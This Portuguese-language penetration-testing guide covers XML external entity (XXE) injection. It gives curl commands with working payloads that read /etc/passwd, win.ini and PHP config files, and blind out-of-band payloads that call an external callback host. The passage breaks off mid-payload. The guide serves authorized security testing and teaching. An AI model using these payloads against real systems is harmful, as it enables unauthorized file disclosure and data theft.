Testando Vulnerabilidades de Injeção XXE

Quando Usar

• Durante testes de penetração autorizados quando a aplicação processa entrada XML (APIs SOAP, uploads de arquivos, feeds RSS)
• Ao testar APIs que aceitam Content-Type: application/xml ou text/xml
• Para avaliar parsers XML em funcionalidades de upload de arquivos (DOCX, XLSX, SVG, PDF)
• Ao avaliar serviços web baseados em SOAP para injeção de entidades
• Durante avaliações de segurança de aplicações corporativas que usam configuração XML

Pré-requisitos

• Autorização: Acordo escrito de teste de penetração para o alvo
• Burp Suite Professional: Para interceptar e modificar requisições XML
• XXEinjector: Ferramenta automatizada de exploração de XXE (git clone https://github.com/enjoiz/XXEinjector.git)
• Servidor out-of-band: Burp Collaborator ou interactsh para detecção de XXE cega
• curl: Para criação e envio manual de payloads
• Python: Para construir um servidor de hospedagem DTD

Fluxo de Trabalho

Passo 1: Identificar Pontos de Processamento XML

Encontre todos os endpoints da aplicação que aceitam ou processam dados XML.

# Look for XML content types in Burp proxy history
# Filter for: Content-Type: application/xml, text/xml, application/soap+xml

# Test if JSON endpoints also accept XML
# Original JSON request:
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"search":"test"}' \
  "https://target.example.com/api/search"

# Try converting to XML:
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><root><search>test</search></root>' \
  "https://target.example.com/api/search"

# Check file upload endpoints for XML-based formats
# DOCX, XLSX, PPTX, SVG, PDF, XML, RSS, ATOM, SOAP
# These all contain XML that may be parsed server-side

# Check for SOAP endpoints
curl -s -X POST \
  -H "Content-Type: text/xml" \
  -H "SOAPAction: \"\"" \
  -d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><test/></soap:Body></soap:Envelope>' \
  "https://target.example.com/ws/service"

Passo 2: Testar XXE Básico com Recuperação de Arquivos

Injete entidades XML para ler arquivos locais do servidor.

# Basic XXE payload to read /etc/passwd
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"

# Windows file read
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"

# Read application configuration files
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///var/www/html/config.php">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"

# PHP filter wrapper for base64 encoding (avoids XML parsing errors)
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"

Passo 3: Testar XXE Cego com Detecção Out-of-Band

Quando o valor da entidade não é refletido na resposta, use técnicas out-of-band.

# XXE Cego com callback HTTP (use Burp Collaborator ou interactsh)
# Inicie o interactsh: interactsh-client
# Use o domínio gerado: abc123.oast.fun

curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://abc123.oast.fun/xxe-test">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"

# Verifique o interactsh/Collaborator por requisições DNS ou HTTP recebidas

# XXE Cego com exfiltração de DNS
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://xxe-confirmed.abc123.oast.fun">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"

# XXE Cego via entidades de parâmetro (quando entidades regulares são bloqueadas)
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [

…